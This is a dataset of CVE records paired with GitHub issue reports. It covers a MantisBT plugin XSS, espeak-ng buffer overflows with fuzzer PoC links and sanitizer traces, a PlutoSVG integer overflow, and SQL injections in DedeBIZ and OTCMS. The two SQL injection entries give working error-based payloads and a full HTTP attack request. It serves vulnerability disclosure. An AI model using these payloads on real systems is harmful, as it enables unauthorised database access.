| 特殊值永远成功漏洞 CVE-2023-45292 GO-2023-2386 | https://api.github.com/repos/mojocn/base64Captcha/issues/120/comments | 2 | 2023-12-01T11:40:40Z | 2023-12-08T12:48:54Z | https://github.com/mojocn/base64Captcha/issues/120 | 2,020,713,875 | 120 | 5,803 |
CVE-2023-49802 | 2023-12-11T22:15:06.730 | The LinkedCustomFields plugin for MantisBT allows users to link values between two custom fields, creating linked drop-downs. Prior to version 2.0.1, cross-site scripting in the MantisBT LinkedCustomFields plugin allows Javascript execution, when a crafted Custom Field is linked via the plugin and displayed when reporting a new Issue or editing an existing one. This issue is fixed in version 2.0.1. As a workaround, one may utilize MantisBT's default Content Security Policy, which blocks script execution. | {
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"mantisbt-plugins",
"LinkedCustomFields"
] | Problem: linked fields with special characters (like &) can't be saved
Solution: use htmlspecialchars_decode in LinkedCustomFields.API.php
static function getLinkedFieldId( $p_source_field_id ) {
$t_query = "SELECT target_field_id FROM " . plugin_table( 'data' ) . " WHERE custom_field_id = " . db_param();
$t_result = db_query( $t_query, array( $p_source_field_id ) );
if( 0 == db_num_rows( $t_result ) ) {
return null;
}
$t_array = db_fetch_array( $t_result );
**return htmlspecialchars_decode($t_field_values_js);**
}
| CVE-2023-49802 : Problem with special characters | https://api.github.com/repos/mantisbt-plugins/LinkedCustomFields/issues/10/comments | 3 | 2023-08-10T10:06:07Z | 2023-12-13T13:19:06Z | https://github.com/mantisbt-plugins/LinkedCustomFields/issues/10 | 1,844,863,029 | 10 | 5,804 |
CVE-2023-49990 | 2023-12-12T14:15:07.553 | Espeak-ng 1.52-dev was discovered to contain a buffer-overflow via the function SetUpPhonemeTable at synthdata.c. | {
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"120"
] | 120 | https://github.com/espeak-ng/espeak-ng/issues/1824 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"espeak-ng",
"espeak-ng"
] | **System info**
Ubuntu x86_64, clang 12.0
version: espeak-ng(1.52-dev)
**Command line**
./espeak-ng -f poc -w /dev/null
**Poc**
poc:[poc](https://github.com/SEU-SSL/Poc/blob/main/espeak-ng/id_000064%2Csig_11%2Csrc_008778%2Cop_havoc%2Crep_2)
**AddressSanitizer output**
==4070074==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000000fd06cc at pc 0x0000005555f3 bp 0x7ffcdce1ca70 sp 0x7ffcdce1ca68
READ of size 4 at 0x000000fd06cc thread T0
#0 0x5555f2 in SetUpPhonemeTable /src/espeak-ng/src/libespeak-ng/synthdata.c:338:43
#1 0x5552d5 in SelectPhonemeTable /src/espeak-ng/src/libespeak-ng/synthdata.c:360:2
#2 0x57eae8 in TranslateWord2 /src/espeak-ng/src/libespeak-ng/translate.c:570:4
#3 0x5797d6 in TranslateClause /src/espeak-ng/src/libespeak-ng/translate.c:1607:6
#4 0x56fe0b in SpeakNextClause /src/espeak-ng/src/libespeak-ng/synthesize.c:1560:2
#5 0x543527 in Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:489:9
#6 0x544552 in sync_espeak_Synth /src/espeak-ng/src/libespeak-ng/speech.c:571:29
#7 0x544552 in espeak_ng_Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:669:10
#8 0x51fa9e in espeak_Synth /src/espeak-ng/src/libespeak-ng/espeak_api.c:90:32
#9 0x4cde94 in main /src/espeak-ng/src/espeak-ng.c:779:3
#10 0x7f1ab886e082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#11 0x41d64d in _start (/src/espeak-ng/src/espeak-ng+0x41d64d)
0x000000fd06cc is located 140 bytes to the right of global variable 'phoneme_tab_list' defined in 'src/libespeak-ng/synthdata.c:61:18' (0xfcea20) of size 7200
SUMMARY: AddressSanitizer: global-buffer-overflow /src/espeak-ng/src/libespeak-ng/synthdata.c:338:43 in SetUpPhonemeTable
Shadow bytes around the buggy address:
0x0000801f2080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000801f2090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000801f20a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000801f20b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000801f20c0: 00 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 f9
=>0x0000801f20d0: f9 f9 f9 f9 f9 f9 f9 f9 f9[f9]f9 f9 f9 f9 f9 f9
0x0000801f20e0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000801f20f0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000801f2100: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000801f2110: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000801f2120: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==4070074==ABORTING | global-buffer-overflow exists in the function SetUpPhonemeTable in synthdata.c | https://api.github.com/repos/espeak-ng/espeak-ng/issues/1824/comments | 1 | 2023-11-13T03:26:19Z | 2023-12-17T12:53:26Z | https://github.com/espeak-ng/espeak-ng/issues/1824 | 1,989,818,650 | 1,824 | 5,805 |
CVE-2023-49991 | 2023-12-12T14:15:07.600 | Espeak-ng 1.52-dev was discovered to contain a Stack Buffer Underflow via the function CountVowelPosition at synthdata.c. | {
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"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.4,
"source": "nvd@nist.gov",
"type": "Primary"
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],
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{
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"787"
] | 787 | https://github.com/espeak-ng/espeak-ng/issues/1825 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"espeak-ng",
"espeak-ng"
] | **System info**
Ubuntu x86_64, clang 12.0
version: espeak-ng(1.52-dev)
**Command line**
./espeak-ng -f poc -w /dev/null
**Poc**
poc:[poc](https://github.com/SEU-SSL/Poc/blob/main/espeak-ng/id_000092%2Csig_11%2Csrc_009714%2Cop_havoc%2Crep_2)
**AddressSanitizer output**
==4070186==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ffd7a6c0e80 at pc 0x00000055a66a bp 0x7ffd7a6c0b70 sp 0x7ffd7a6c0b68
READ of size 8 at 0x7ffd7a6c0e80 thread T0
#0 0x55a669 in CountVowelPosition /src/espeak-ng/src/libespeak-ng/synthdata.c:449:14
#1 0x55a669 in InterpretCondition /src/espeak-ng/src/libespeak-ng/synthdata.c:626:12
#2 0x55a669 in InterpretPhoneme /src/espeak-ng/src/libespeak-ng/synthdata.c:832:14
#3 0x55ab57 in InterpretPhoneme2 /src/espeak-ng/src/libespeak-ng/synthdata.c:979:2
#4 0x5fc032 in CalcLengths /src/espeak-ng/src/libespeak-ng/setlengths.c:680:5
#5 0x56fe4e in SpeakNextClause /src/espeak-ng/src/libespeak-ng/synthesize.c:1563:2
#6 0x543527 in Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:489:9
#7 0x544552 in sync_espeak_Synth /src/espeak-ng/src/libespeak-ng/speech.c:571:29
#8 0x544552 in espeak_ng_Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:669:10
#9 0x51fa9e in espeak_Synth /src/espeak-ng/src/libespeak-ng/espeak_api.c:90:32
#10 0x4cde94 in main /src/espeak-ng/src/espeak-ng.c:779:3
#11 0x7fe8046c2082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41d64d in _start (/src/espeak-ng/src/espeak-ng+0x41d64d)
Address 0x7ffd7a6c0e80 is located in stack of thread T0 at offset 0 in frame
#0 0x55a92f in InterpretPhoneme2 /src/espeak-ng/src/libespeak-ng/synthdata.c:964
This frame has 1 object(s):
[32, 192) 'plist' (line 967)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-underflow /src/espeak-ng/src/libespeak-ng/synthdata.c:449:14 in CountVowelPosition
Shadow bytes around the buggy address:
0x10002f4d0180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002f4d0190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002f4d01a0: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
0x10002f4d01b0: f8 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 f3 f3
0x10002f4d01c0: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10002f4d01d0:[f1]f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
0x10002f4d01e0: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3
0x10002f4d01f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002f4d0200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002f4d0210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002f4d0220: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==4070186==ABORTING | stack-buffer-underflow exists in the function CountVowelPosition in synthdata.c | https://api.github.com/repos/espeak-ng/espeak-ng/issues/1825/comments | 1 | 2023-11-13T03:33:30Z | 2023-12-17T12:53:16Z | https://github.com/espeak-ng/espeak-ng/issues/1825 | 1,989,824,628 | 1,825 | 5,806 |
CVE-2023-49992 | 2023-12-12T14:15:07.653 | Espeak-ng 1.52-dev was discovered to contain a Stack Buffer Overflow via the function RemoveEnding at dictionary.c. | {
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"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.4,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
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"tags": [
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"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/espeak-ng/espeak-ng/issues/1827"
},
{
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"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2PZEBWPNKPAYJMIM3AS2RP3FL6FX3HS4/"
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"787"
] | 787 | https://github.com/espeak-ng/espeak-ng/issues/1827 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"espeak-ng",
"espeak-ng"
] | **System info**
Ubuntu x86_64, clang 12.0
version: espeak-ng(1.52-dev)
**Command line**
./espeak-ng -f poc -w /dev/null
**Poc**
poc:[poc](https://github.com/SEU-SSL/Poc/blob/main/espeak-ng/id_000209%2Csig_07%2Csrc_000384%2Cop_havoc%2Crep_32)
**AddressSanitizer output**
==4070654==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffce78764a0 at pc 0x00000049796a bp 0x7ffce78758d0 sp 0x7ffce7875098
WRITE of size 393 at 0x7ffce78764a0 thread T0
#0 0x497969 in __asan_memcpy (/src/espeak-ng/src/espeak-ng+0x497969)
#1 0x51c13e in RemoveEnding /src/espeak-ng/src/libespeak-ng/dictionary.c:2902:3
#2 0x5853f2 in TranslateWord3 /src/espeak-ng/src/libespeak-ng/translateword.c:444:17
#3 0x570911 in TranslateWord /src/espeak-ng/src/libespeak-ng/translate.c:150:14
#4 0x57c9ca in TranslateWord2 /src/espeak-ng/src/libespeak-ng/translate.c:404:11
#5 0x57951f in TranslateClause /src/espeak-ng/src/libespeak-ng/translate.c:1594:17
#6 0x56fe0b in SpeakNextClause /src/espeak-ng/src/libespeak-ng/synthesize.c:1560:2
#7 0x5430bc in Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:455:2
#8 0x544552 in sync_espeak_Synth /src/espeak-ng/src/libespeak-ng/speech.c:571:29
#9 0x544552 in espeak_ng_Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:669:10
#10 0x51fa9e in espeak_Synth /src/espeak-ng/src/libespeak-ng/espeak_api.c:90:32
#11 0x4cde94 in main /src/espeak-ng/src/espeak-ng.c:779:3
#12 0x7f9c6597c082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#13 0x41d64d in _start (/src/espeak-ng/src/espeak-ng+0x41d64d)
Address 0x7ffce78764a0 is located in stack of thread T0 at offset 2368 in frame
#0 0x58082f in TranslateWord3 /src/espeak-ng/src/libespeak-ng/translateword.c:59
This frame has 25 object(s):
[32, 232) 'ph_buf.i.i' (line 1191)
[304, 308) 'c.i' (line 1122)
[320, 324) 'wc.i' (line 1048)
[336, 416) 'word_buf.i' (line 1053)
[448, 456) 'word1' (line 62)
[480, 488) 'dictionary_flags' (line 68)
[512, 520) 'dictionary_flags2' (line 69)
[544, 552) 'wordx' (line 74)
[576, 776) 'phonemes' (line 75)
[848, 1048) 'phonemes2' (line 76)
[1120, 1320) 'prefix_phonemes' (line 77)
[1392, 1592) 'unpron_phonemes' (line 78)
[1664, 1864) 'end_phonemes' (line 79)
[1936, 2136) 'end_phonemes2' (line 80)
[2208, 2368) 'word_copy' (line 81)
[2432, 2592) 'word_copy2' (line 82) <== Memory access at offset 2368 partially underflows this variable
[2656, 2721) 'prefix_chars' (line 84) <== Memory access at offset 2368 partially underflows this variable
[2768, 2772) 'c_temp' (line 87)
[2784, 2788) 'first_char' (line 88)
[2800, 2804) 'last_char' (line 89)
[2816, 2912) 'wtab_null' (line 99)
[2944, 2948) 'wc' (line 322)
[2960, 3160) 'end_phonemes2410' (line 343)
[3232, 3240) 'wordpf' (line 401)
[3264, 3276) 'prefix_phonemes2' (line 402)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/src/espeak-ng/src/espeak-ng+0x497969) in __asan_memcpy
Shadow bytes around the buggy address:
0x10001cf06c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10001cf06c50: 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 00 00
0x10001cf06c60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10001cf06c70: 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x10001cf06c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10001cf06c90: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 00 00 00 00
0x10001cf06ca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10001cf06cb0: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00
0x10001cf06cc0: 01 f2 f2 f2 f2 f2 04 f2 04 f2 04 f2 00 00 00 00
0x10001cf06cd0: 00 00 00 00 00 00 00 00 f2 f2 f2 f2 f8 f2 f8 f8
0x10001cf06ce0: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==4070654==ABORTING | stack-buffer-overflow exists in the function RemoveEnding in dictionary.c | https://api.github.com/repos/espeak-ng/espeak-ng/issues/1827/comments | 1 | 2023-11-13T03:37:25Z | 2023-12-17T12:53:03Z | https://github.com/espeak-ng/espeak-ng/issues/1827 | 1,989,827,779 | 1,827 | 5,807 |
CVE-2023-49993 | 2023-12-12T14:15:07.700 | Espeak-ng 1.52-dev was discovered to contain a Buffer Overflow via the function ReadClause at readclause.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
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"espeak-ng",
"espeak-ng"
] | **System info**
Ubuntu x86_64, clang 12.0
version: espeak-ng(1.52-dev)
**Command line**
./espeak-ng -f poc -w /dev/null
**Poc**
poc:[poc](https://github.com/SEU-SSL/Poc/blob/main/espeak-ng/id_000205%2Csig_11%2Csrc_013749%2Cop_havoc%2Crep_4)
**AddressSanitizer output**
==4070638==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000000fe1cb0 at pc 0x0000005389ce bp 0x7ffd05945410 sp 0x7ffd05945408
WRITE of size 4 at 0x000000fe1cb0 thread T0
#0 0x5389cd in ReadClause /src/espeak-ng/src/libespeak-ng/readclause.c:668:30
#1 0x571b2d in TranslateClause /src/espeak-ng/src/libespeak-ng/translate.c:984:15
#2 0x56fe0b in SpeakNextClause /src/espeak-ng/src/libespeak-ng/synthesize.c:1560:2
#3 0x543527 in Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:489:9
#4 0x544552 in sync_espeak_Synth /src/espeak-ng/src/libespeak-ng/speech.c:571:29
#5 0x544552 in espeak_ng_Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:669:10
#6 0x51fa9e in espeak_Synth /src/espeak-ng/src/libespeak-ng/espeak_api.c:90:32
#7 0x4cde94 in main /src/espeak-ng/src/espeak-ng.c:779:3
#8 0x7f79f766d082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#9 0x41d64d in _start (/src/espeak-ng/src/espeak-ng+0x41d64d)
0x000000fe1cb0 is located 48 bytes to the left of global variable 'option_linelength' defined in 'src/libespeak-ng/translate.c:99:5' (0xfe1ce0) of size 4
0x000000fe1cb0 is located 0 bytes to the right of global variable 'option_punctlist' defined in 'src/libespeak-ng/translate.c:96:9' (0xfe1bc0) of size 240
SUMMARY: AddressSanitizer: global-buffer-overflow /src/espeak-ng/src/libespeak-ng/readclause.c:668:30 in ReadClause
Shadow bytes around the buggy address:
0x0000801f4340: 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
0x0000801f4350: 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
0x0000801f4360: 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
0x0000801f4370: 04 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
0x0000801f4380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0000801f4390: 00 00 00 00 00 00[f9]f9 f9 f9 f9 f9 04 f9 f9 f9
0x0000801f43a0: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
0x0000801f43b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000801f43c0: 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 00 00 04 f9
0x0000801f43d0: f9 f9 f9 f9 00 00 04 f9 f9 f9 f9 f9 00 00 00 00
0x0000801f43e0: 00 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==4070638==ABORTING | global-buffer-overflow exists in the function ReadClause in readclause.c | https://api.github.com/repos/espeak-ng/espeak-ng/issues/1826/comments | 1 | 2023-11-13T03:35:17Z | 2023-12-17T12:53:10Z | https://github.com/espeak-ng/espeak-ng/issues/1826 | 1,989,826,100 | 1,826 | 5,808 |
CVE-2023-49994 | 2023-12-12T14:15:07.750 | Espeak-ng 1.52-dev was discovered to contain a Floating Point Exception via the function PeaksToHarmspect at wavegen.c. | {
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"espeak-ng",
"espeak-ng"
] | **System info**
Ubuntu x86_64, clang 12.0
version: espeak-ng(1.52-dev)
**Command line**
./espeak-ng -f poc -w /dev/null
**Poc**
poc:[poc](https://github.com/SEU-SSL/Poc/blob/main/espeak-ng/id_000000%2Csig_08%2Csrc_003156%2B002428%2Cop_splice%2Crep_32)
**AddressSanitizer output**
==4069818==ERROR: AddressSanitizer: FPE on unknown address 0x0000005aeced (pc 0x0000005aeced bp 0x000000fe792a sp 0x7fff82149c60 T0)
#0 0x5aeced in PeaksToHarmspect /src/espeak-ng/src/libespeak-ng/wavegen.c:456:87
#1 0x5b3639 in Wavegen /src/espeak-ng/src/libespeak-ng/wavegen.c:723:13
#2 0x5b3639 in WavegenFill2 /src/espeak-ng/src/libespeak-ng/wavegen.c:1331:13
#3 0x5b3639 in WavegenFill /src/espeak-ng/src/libespeak-ng/wavegen.c:1420:13
#4 0x54317c in Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:461:3
#5 0x544552 in sync_espeak_Synth /src/espeak-ng/src/libespeak-ng/speech.c:571:29
#6 0x544552 in espeak_ng_Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:669:10
#7 0x51fa9e in espeak_Synth /src/espeak-ng/src/libespeak-ng/espeak_api.c:90:32
#8 0x4cde94 in main /src/espeak-ng/src/espeak-ng.c:779:3
#9 0x7fd834ba0082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#10 0x41d64d in _start (/src/espeak-ng/src/espeak-ng+0x41d64d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /src/espeak-ng/src/libespeak-ng/wavegen.c:456:87 in PeaksToHarmspect
==4069818==ABORTING | Floating Point Exception exists in the function PeaksToHarmspect in wavegen.c | https://api.github.com/repos/espeak-ng/espeak-ng/issues/1823/comments | 1 | 2023-11-13T03:23:53Z | 2023-12-17T12:29:31Z | https://github.com/espeak-ng/espeak-ng/issues/1823 | 1,989,816,339 | 1,823 | 5,809 |
CVE-2023-6755 | 2023-12-13T13:15:09.203 | A vulnerability was found in DedeBIZ 6.2 and classified as critical. This issue affects some unknown processing of the file /src/admin/content_batchup_action.php. The manipulation of the argument endid leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-247883. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. | {
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"ycwxy",
"test"
] | [Suggested description]
SQL injection vulnerability exists in DedeBIZ V6.2 in /src/admin/content_batchup_action.php
[Vulnerability Type]
SQL INJECTION
[Vendor of Product]
https://github.com/DedeBIZ/DedeV6
[Affected Product Code Base]
DedeBIZ V6.2
[Affected Component]
File： /src/admin/content_batchup_action.php
Parameter： endid
[Attack Type]
Remote
[Cause of vulnerability]
in /src/admin/content_batchup_action.php,there is possibility of sql injection is the sql statement ‘$dsql->SetQuery("SELECT id FROM `#@__archives` $gwhere");’
In this code, $gwhere is controlled by $endid in the above statement.
if ($endid > $startid) $gwhere .= " AND id<= $endid ";
For $endid, only single quotes are globally filtered without any other protection. $endid is directly concatenated in $gwhere, and $gwhere is directly concatenated in SQL statements,
$dsql->SetQuery("SELECT id,arcrank FROM `#@__arctiny` $gwhere");
What is more,directly access the PHP file, which can receive data from post requests and select parameters. $endid can be controlled by attackers in post data
Therefore ,the sql injection exists.
[Vulnerability demonstration]
1. Login into the backend management interface(http://localhost:8086/admin/login.php) with the default account(admin/admin),
2. Proceed with the request webpage as follows.Then the sql injection is triggered
Request url
http://localhost:8086/admin/content_batchup_action.php
Postdata
dopost=go&typeid=1&startid=1&userid=1&action=check&&endid=extractvalue(1,concat(0x7e,(select user()),0x7e))
| SQL injection vulnerability exists in DedeBIZ V6.2 in /src/admin/content_batchup_action.php | https://api.github.com/repos/ycwxy/test/issues/1/comments | 0 | 2023-12-03T07:01:55Z | 2023-12-03T07:01:55Z | https://github.com/ycwxy/test/issues/1 | 2,022,398,500 | 1 | 5,810 |
CVE-2023-6772 | 2023-12-13T19:15:08.513 | A vulnerability, which was classified as critical, was found in OTCMS 7.01. Affected is an unknown function of the file /admin/ind_backstage.php. The manipulation of the argument sqlContent leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-247908. | {
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"Third Party Advisory"
] | github.com | [
"Num-Nine",
"CVE"
] | 1.Official website：http://otcms.com/
2.Hole location: /admin/ind_backstage.php
3.Log in to the background and send the packet as follows
POST /admin/sysCheckFile_deal.php?mudi=sql HTTP/1.1
Host: otcms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Origin: http://otcms.com
Connection: close
Referer: http://otcms.com/admin/sysCheckFile.php?mudi=sql
Cookie: DHKkf_memberInfo=XDFVClw1WzBRO1I6B2JRYVZlVTMAXwAyBjAPNAViVWQHOVE%2FCWUPY1w%2BAWUBbFQ0AjEHY1E%2BUW8AM1xrVmsGOVwzVTVcN1s1UWFSNQc%2BUTZWZFUxADIADwYwDzIFN1V9B2tRKQkxDy5cagEJAThUZQIxB2FRKlFmADdcflZiBjVcIFUyXGJbblFjUmcHNlFhVm9VCQC%2BALAGhA%2FnBbpV9Ae8UakJoA%2FnXMsBhgHvVMQCmw%3D%3D; DHKkf_memberRealName=%E8%B6%85%E7%BA%A7%E7%AE%A1%E7%90%86%E5%91%98; PHPSESSID=fkuouf60dh4nb9hbfo20v5ktts
Upgrade-Insecure-Requests: 1
backURL=http%3A%2F%2Fotcms.com%2Fadmin%2FsysCheckFile.php%3Fmudi%3Dsql&pwdMode=&pwdKey=&pwdEnc=&sqlContent=select+*+from+ot_ad+where+AD_ID=3+and+extractvalue(1,concat(1,(select database())))--+;&userpwd=admin
4.The error injection can be triggered
| sql injection exists in otcmsV7.01 | https://api.github.com/repos/QianGeG/CVE/issues/8/comments | 0 | 2023-12-11T09:51:15Z | 2023-12-11T09:51:15Z | https://github.com/QianGeG/CVE/issues/8 | 2,035,266,663 | 8 | 5,811 |
CVE-2023-44709 | 2023-12-14T06:15:42.743 | PlutoSVG commit 336c02997277a1888e6ccbbbe674551a0582e5c4 and before was discovered to contain an integer overflow via the component plutosvg_load_from_memory. | {
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] | github.com | [
"sammycage",
"plutosvg"
] | # Summary
An integer overflow in the allocated size of `calloc` causes a segment fault.
It might lead to heap overflow and arbitrary code execution.
# Steps to reproduce
code:
```C
#include <plutosvg.h>
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
plutovg_surface_t* surface = plutosvg_load_from_file(argv[1], NULL, 0, 0, 96.0);
return 0;
}
```
run
```shell
$ ./example ./poc
Segmentation fault
```
ASAN report
```
==16700==WARNING: AddressSanitizer failed to allocate 0xfffffffffef21b74 bytes
==16700==AddressSanitizer's allocator is terminating the process instead of returning 0
==16700==If you don't like this behavior set allocator_may_return_null=1
==16700==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:218 "((0)) != (0)" (0x0, 0x0)
#0 0x7ffff6f01bf2 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9bf2)
#1 0x7ffff6f20575 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108575)
#2 0x7ffff6f07332 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xef332)
#3 0x7ffff6e3fe46 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x27e46)
#4 0x7ffff6ef6b0a in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb0a)
#5 0x555555588ba1 in plutovg_surface_create (/home/waterfire/fuzz/example/plutosvg/build/example/example+0x34ba1)
